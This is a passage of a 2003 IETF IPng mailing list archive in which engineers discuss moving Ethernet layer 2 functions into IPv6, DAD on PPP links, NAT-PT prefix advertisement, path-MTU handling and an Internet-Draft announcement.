	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA23135
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:34:15 -0800 (PST)
Received: from nbsteuernagel (unknown [62.26.245.174])
	by webbox24.server-home.net (Postfix) with ESMTP id 8D0709171B
	for <ipng@sunroof.eng.sun.com>; Tue,  7 Jan 2003 10:34:00 +0100 (CET)
From: "Kai Steuernagel" <kai@churchofip.org>
To: <ipng@sunroof.eng.sun.com>
Subject: RE: Food for thought: Shifting layer 2 functionality to layer 3 with IPv6
Date: Tue, 7 Jan 2003 10:34:16 +0100
Message-ID: <NDBBIOPLNJBAJMDIILENKEDBDGAA.kai@churchofip.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Walter,

I see some points which you currently do not address when eliminating Layer
2.

- In every network structure we have a layer 2 protocol for a few tasks to
do.
e.g. IP doesn't provide framing, - finding start and end of packet. This is
a task of a layer 2 protocol. On Most WAN-links ist done by PPP (e.g. in
POS) or other encapsulation (e.g. RFC2684).
- I agree that the addressing structure of ethernet is not any longer needed
in this length, but it is a huge effort to change it since every NIC is
using it today and backward compatibility has to be maintained. Inside the
IEEE 802.3 standard it could be reduced to a two byte addressing scheme, but
I believe that NICs are not prepared to work in this mode. Maybe in the
loooooong term?
- Today and in IP networks layer 2 braodcasts are more or less only used for
ARP. There is no other need as long the network supports layer-2 multicast.

I see today that in campus networks there is a trend to replace the layer2
switches by layer2/3 switches and use OSPF for load balancing on the links
between replacing Spanning Tree. This could be the first step towards the
scenario you describe. On the other hand, layer2 switching isn't to bad and
really easy to handle compared to a 100 router OSPF network with 5000
networks (prefixes). Maybe we need an innovation in routing protocols before
that step.

Regards

Kai


Kai Steuernagel
Head of Product Management and Technology
Pan Dacom Networking AG
Robert-Bosch-Str. 32
63303 Dreieich
GERMANY

Tel.: +49 6103-932 149
Fax: +49 6103-932 400
Mobil: +49 177-6932 166 (voice mail)
Email: steuernagel@ffm.pandacom.de
Web: http://www.pandacom.de
Nets work together.


***
Kai Steuernagel

kai@steuernagel.net
www.steuernagel.net
www.churchofip.org

***


-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Walter Zimmer
Sent: Monday, December 16, 2002 12:12 PM
To: ipng@sunroof.eng.sun.com
Subject: Food for thought: Shifting layer 2 functionality to layer 3
with IPv6


Hi!

Analyzing the trends in internet technology, which might be summarized
as 'towards IP everywhere', I arrived at the following statement:

"In a longer timeframe, it makes sense in LANs to incoporate
all layer 2 functionality into layer 3."

Note:
- long timeframe
- talking of LANs, not core networks
- layer 2 will relly be ethernet
- layer 3 will really be IPv6 (I think everybody agrees that this
  won't come for IPv4 :)

Since this is the IPv6 list, I think the people with the most
valuable contributions are here.

First, lets make a list what functionality ethernet layer 2 includes:

A1 - medium access (anyone remembers the good old days of CSMA-CD ? :)
A2 - enable local 'routing' (switching) in networking components
A3 - broadcast service
A4 - multicast service
A5 - addressing at layer 2 is needed for autoconfig protocols
A6 - ARP is included and necessary for layer 3 operation

Note that layer 1 is untouched. There is no better and more cost
eficient method of transmitting frames in LANs than ethernet
right now, and I think also in the future, because it is designed
well and lasting.

Here are the arguments supporting the above statement:

B1 - In the long run, medium access won't be necessary because ethernet
     is evolving into a tree based architecture even in cost sensitive
     areas (e.g. at home) (A1).
B2 - Routing in a LAN close to the end devices is not significantly
     more computing-intensive than switching. Therefore, as computing
     power gets cheaper, it makes sense to build routing-only
     devices (A2).
B3 - Broadcasts are not necessary in IPv6, because we have a far better
     mechanism (service-specific multicast) already incorporated (A3).
B4 - Multicast is also a available in IPv6.
B5 - Autoconifg in IPv4 uses IPv6 broadcast protocols (A5).
B6 - Address resolution (also NDP) would not be necessary any more (A6).
B7 - Office router software will become more simple, because they
     won't need layer 2 any more.
B8 - If the MAC address is included in the IP address anyway, why
     repeat it in the ethernet header? Better save the bandwidth.
B9 - Security is enhanced: ARP cache poisoning is not possible,
     because the plug-and-play protocol introduced into IPv6 to
     propagate addresses would be designed with security in mind.
     Yes, encryption will come, but  ARP cache spamming DoS cannot
     be prevented without modifying ARP. MAC address locking is no
     real solution since the administrative overhead is to high.

The downsides:
C1 - It might really be too early to think about this. However,
     if everybody agrees that it will come, then it might be
     beneficial to design current RFCs with that in mind.
C2 - Simple switches will need redesign to become IPv6 routers.
     That's the price for B7.
C3 - There will be poblems if the transition strategy is poorly
     designed. Since ethernet chips today don't insist on sending
     ethernet headers, seamless transition should be possible.
C4 - VLANs would be a problem if the flowlabel could not be used
     for it.

I want to collect pros and especially the cons (since a have so few)
for this statement, technical and political, so don't hesitate to
express them, either via the list or personal. I'll summarize.

Also, pointers to other mailing lists or other information resources
would be greatly appreciated.

Merry christmas,
Walter
--
Fraunhofer-Einrichtung Systeme der Kommunikationstechnik (ESK)

Walter Zimmer                    Hansastrasse 32
Dipl.-Inf.                       D-80686 Munich
                                 Telefon:  +49(0)89-547088-344
walter.zimmer@esk.fraunhofer.de  Telefax:  +49(0)89-547088-221
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 01:54:22 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h079sL16018678;
	Tue, 7 Jan 2003 01:54:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h079sLxV018677;
	Tue, 7 Jan 2003 01:54:21 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h079sH16018670
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:54:18 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h079sQuk016509
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:54:26 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA19839
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:54:21 -0800 (PST)
Received: from cisco.com (mrwint.cisco.com [144.254.98.48])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id h079meKv018006;
	Tue, 7 Jan 2003 01:48:40 -0800 (PST)
Received: (from otroan@localhost)
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id JAA28118;
	Tue, 7 Jan 2003 09:48:39 GMT
X-Authentication-Warning: mrwint.cisco.com: otroan set sender to ot@cisco.com using -f
To: John Fraizer <tvo@EnterZone.Net>
Cc: Brian Haberman <bkhabs@nc.rr.com>,
   "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: [6bone] Re: DAD scope ??
From: Ole Troan <ot@cisco.com>
Date: Tue, 07 Jan 2003 09:48:39 +0000
In-Reply-To: <Pine.LNX.4.21.0301061824530.25145-100000@Overkill.EnterZone.Net> (John
 Fraizer's message of "Mon, 6 Jan 2003 18:26:27 -0500 (EST)")
Message-ID: <7t5adid8f48.fsf@mrwint.cisco.com>
User-Agent: Gnus/5.090011 (Oort Gnus v0.11) Emacs/21.2
 (sparc-sun-solaris2.8)
References: <Pine.LNX.4.21.0301061824530.25145-100000@Overkill.EnterZone.Net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>> > Each ipv6-over-foo doc discusses modifications to ND,
>> > if necessary, for the particular link technology.  For
>> > example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>> > that DAD is redundant and needn't be run.
>> 
>> my interpretation of IPv6 over PPP is different. DAD is redundant only
>> for the link-local address, but needs to be run for all other
>> addresses on the link.
>> 
>> /ot
>
> Um, PPP stands for Point-to-point-Protocol.  So, tell me... Which other
> addresses ARE there going to be on the link?

not sure I understand the question. a point to point link has two
nodes connected. each node can have, at least in principle, as many
addresses configured as it wants, including RFC3041 and manually
configured.

/ot
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 02:10:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07AAj16019055;
	Tue, 7 Jan 2003 02:10:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07AAjus019054;
	Tue, 7 Jan 2003 02:10:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07AAf16019046;
	Tue, 7 Jan 2003 02:10:41 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07AAoXq017998;
	Tue, 7 Jan 2003 02:10:50 -0800 (PST)
Received: from mta0 ([61.144.161.10])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA19818;
	Tue, 7 Jan 2003 03:10:41 -0700 (MST)
Received: from ly (mta0 [172.17.1.62])
 by mta0.huawei.com (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12
 2002)) with ESMTPA id <0H8C00LI19ITJN@mta0.huawei.com>; Tue,
 07 Jan 2003 18:08:55 +0800 (CST)
Date: Tue, 07 Jan 2003 18:09:54 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
Subject: RE: NATPT prefix ...
In-reply-to: <003201c2b624$7cfda230$b7cbdba8@daniel7209>
To: "'Soohong Daniel Park'" <soohong.park@samsung.com>
Cc: ipng@sunroof.eng.sun.com, owner-ipng@sunroof.eng.sun.com
Message-id: <000001c2b634$ecf79b80$68226e0a@HUAWEI.COM>
Organization: Huawei Technology
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook, Build 10.0.3416
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

OK,
	Danial,
		Lets take this .

	|------|		   |------|		   |-------|
	|______|-----V6------|______|---V6-----|_______|----------V4 
								
	   RX				RY 			RZ
(NAT-PT)


	1) RZ needs to advertice the NAT-PT prefix to RX.
		How does Rz tells it to RX.( using Router
Advertisement).
	
	2) Otherwice how does RX knows  to reach V4 cloud it should
NAT-PT 
		prefix ?

keshava

	

-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Soohong Daniel Park
Sent: Tuesday, January 07, 2003 4:12 PM
To: 'Keshava Ayanur'
Cc: ipng@sunroof.eng.sun.com
Subject: RE: NATPT prefix ...




-----Original Message-----
From: Keshava Ayanur [mailto:keshavaak@huawei.com] 
Sent: Tuesday, January 07, 2003 11:34 AM
To: 'Soohong Daniel Park'
Cc: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com; Keshava
Subject: RE: NATPT prefix ...


Hi Daniel,
	
	Of course NAT-PT router can advertise the prefix in RA.
	
	But there is no such option in RA, so that NAT-PT router can say
if you 
	want go across V4 (V6) cloud please use this prefix ? 

		why does it need an option for advertisement ?
		all mechanisms are same as general IPv6 network.

		-Daniel


keshava
	

-----Original Message-----
From: Soohong Daniel Park [mailto:soohong.park@samsung.com] 
Sent: Tuesday, January 07, 2003 9:45 AM
To: 'Keshava Ayanur'; 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Subject: RE: NATPT prefix ...




-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Keshava Ayanur
Sent: Monday, January 06, 2003 8:06 PM
To: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Cc: keshav
Subject: NATPT prefix ...


I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

should be received from RA, if not, addresses should be configured by
manually configuration.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

general RA processing


-Daniel
	
Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 04:09:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07C9716019973;
	Tue, 7 Jan 2003 04:09:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07C97U4019972;
	Tue, 7 Jan 2003 04:09:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07C9316019964;
	Tue, 7 Jan 2003 04:09:03 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07C9Duk002329;
	Tue, 7 Jan 2003 04:09:13 -0800 (PST)
Received: from mta0 ([61.144.161.10])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA02904;
	Tue, 7 Jan 2003 05:09:04 -0700 (MST)
Received: from ly (mta0 [172.17.1.62])
 by mta0.huawei.com (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12
 2002)) with ESMTPA id <0H8C00LBUEZKJN@mta0.huawei.com>; Tue,
 07 Jan 2003 20:06:58 +0800 (CST)
Date: Tue, 07 Jan 2003 20:07:57 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
Subject: Change in path-MTU ..
To: owner-ipng@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com
Cc: Keshava  <keshavaak@huawei.com>
Message-id: <000001c2b645$6b0232a0$68226e0a@HUAWEI.COM>
Organization: Huawei Technology
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook, Build 10.0.3416
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi,
	I have a question about PATH-MTU .

	Should the IP stack inform the application about the change in
path-MTU .
	Else how does the application running on UDP will know about
change in the 
	size ? 
	Or is it up to the application running on UDP to care by some 
	reliable mechanism ? 

Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 04:15:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07CFI16020029;
	Tue, 7 Jan 2003 04:15:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07CFHaN020028;
	Tue, 7 Jan 2003 04:15:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07CFE16020020
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 04:15:14 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07CFOXq003134
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 04:15:24 -0800 (PST)
Received: from webserver.redes.unb.br ([164.41.67.130])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16322
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 05:15:17 -0700 (MST)
Received: from webserver.redes.unb.br (localhost.localdomain [127.0.0.1])
	by webserver.redes.unb.br (8.12.5/8.12.5) with ESMTP id h07CRoBB010959
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 10:27:50 -0200
From: "Robson Lopes Jr. Mbone" <lopesjr@redes.unb.br>
Received: (from nobody@localhost)
	by webserver.redes.unb.br (8.12.5/8.12.5/Submit) id h07CRnXr010958;
	Tue, 7 Jan 2003 10:27:49 -0200
X-Authentication-Warning: webserver.redes.unb.br: nobody set sender to lopesjr@redes.unb.br using -f
Received: from 200.163.10.179
        (SquirrelMail authenticated user lopesjr)
        by webserver.redes.unb.br with HTTP;
        Tue, 7 Jan 2003 10:27:49 -0200 (BRST)
Message-ID: <1570.200.163.10.179.1041942469.squirrel@webserver.redes.unb.br>
Date: Tue, 7 Jan 2003 10:27:49 -0200 (BRST)
Subject: QoS
To: <ipng@sunroof.eng.sun.com>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Does anyone have papers or something silimar about QoS and IPv6?

Thanks,
Robson.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 04:39:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07CdU16020390;
	Tue, 7 Jan 2003 04:39:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07CdTxS020389;
	Tue, 7 Jan 2003 04:39:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07CdQ16020382
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 04:39:27 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07CdaXq005993
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 04:39:36 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA14185
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 05:39:30 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h07CdGh24767;
	Tue, 7 Jan 2003 14:39:16 +0200
Date: Tue, 7 Jan 2003 14:39:16 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: "Robson Lopes Jr. Mbone" <lopesjr@redes.unb.br>
cc: ipng@sunroof.eng.sun.com
Subject: Re: QoS
In-Reply-To: <1570.200.163.10.179.1041942469.squirrel@webserver.redes.unb.br>
Message-ID: <Pine.LNX.4.44.0301071435550.24745-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Tue, 7 Jan 2003, Robson Lopes Jr. Mbone wrote:
> Does anyone have papers or something silimar about QoS and IPv6?

For your convenience, I've typed this URL to two search engines and 
copied them to you:

http://www.altavista.com/web/results?q=%2BIPv6+%2BQoS+%2Bpaper&kgs=0&kls=1&avkw=qtrp
http://citeseer.nj.nec.com/cs?q=IPv6+QoS&cs=1

Happy cut'n'pasting!  Simple, ain't it!

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 04:40:05 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07Ce516020423;
	Tue, 7 Jan 2003 04:40:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07Ce4Vn020422;
	Tue, 7 Jan 2003 04:40:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07Ce116020414;
	Tue, 7 Jan 2003 04:40:01 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07CeAXq006043;
	Tue, 7 Jan 2003 04:40:11 -0800 (PST)
Received: from wiprom2mx1.wipro.com (wiprom2mx1.wipro.com [203.197.164.41])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA14330;
	Tue, 7 Jan 2003 05:40:03 -0700 (MST)
Received: from m2vwall5.wipro.com (m2vwall5.wipro.com [10.115.50.5])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id h07Ce0S08916;
	Tue, 7 Jan 2003 18:10:00 +0530 (IST)
Received: from blr-ec-msg02.wipro.com ([10.200.51.99]) by blr-ec-bh1.wipro.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Tue, 7 Jan 2003 18:09:55 +0530
Received: from wipro.com ([192.168.178.243]) by blr-ec-msg02.wipro.com with Microsoft SMTPSVC(5.0.2195.4905);
	 Tue, 7 Jan 2003 18:09:55 +0530
Message-ID: <3E1ACBA3.E4BAF86@wipro.com>
Date: Tue, 07 Jan 2003 18:14:19 +0530
From: Shashi Kumar <shashi.kumar@wipro.com>
Organization: Wipro Technologies
X-Mailer: Mozilla 4.74 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Keshava Ayanur <keshavaak@huawei.com>
CC: owner-ipng@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com
Subject: Re: Change in path-MTU ..
References: <000001c2b645$6b0232a0$68226e0a@HUAWEI.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 07 Jan 2003 12:39:55.0781 (UTC) FILETIME=[E1D9CB50:01C2B649]
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

ICMP layer should recalculate the path-MTU depending on ICMP redirect
and update the routing entries appropriately and also inform
packetization layer(s) about the change in path-MTU ( you can have your
own algo.)
   

-Shashi


Keshava Ayanur wrote:
> 
> Hi,
>         I have a question about PATH-MTU .
> 
>         Should the IP stack inform the application about the change in
> path-MTU .
>         Else how does the application running on UDP will know about
> change in the
>         size ?
>         Or is it up to the application running on UDP to care by some
>         reliable mechanism ?
> 
> Regards,
> keshava
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 05:32:56 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07DWt16020770;
	Tue, 7 Jan 2003 05:32:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07DWts3020769;
	Tue, 7 Jan 2003 05:32:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07DWp16020762
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 05:32:52 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07DX1uk012337
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 05:33:01 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA14554
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 06:32:55 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA12182;
	Tue, 7 Jan 2003 08:29:38 -0500 (EST)
Message-Id: <200301071329.IAA12182@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ipng@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-ipv6-ipaddressassign-06.txt
Date: Tue, 07 Jan 2003 08:29:38 -0500
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Version 6 Working Group Working Group of the IETF.

	Title		: A  Flexible Method for Managing the Assignment of 
                          Bites of an IPv6 Address Block
	Author(s)	: M. Blanchet
	Filename	: draft-ietf-ipv6-ipaddressassign-06.txt
	Pages		: 8
	Date		: 2003-1-6
	
This document proposes a method to manage the assignment of bits of
an IPv6 address block or range.  When an organisation needs to make
an address plan for its subnets or when an ISP needs to make an
address plan for its customers, this method enables the organisation
to postpone the final decision on the number of bits to partition in
the address space they have.  It does it by keeping the bits around
the borders of the partition to be free as long as possible.  This
scheme is applicable to any bits addressing scheme using bits with
partitions in the space, but its first intended use is for IPv6.  It
is a generalization of RFC1219 and can be used for IPv6 assignments.

A URL for this Internet-Draft is:
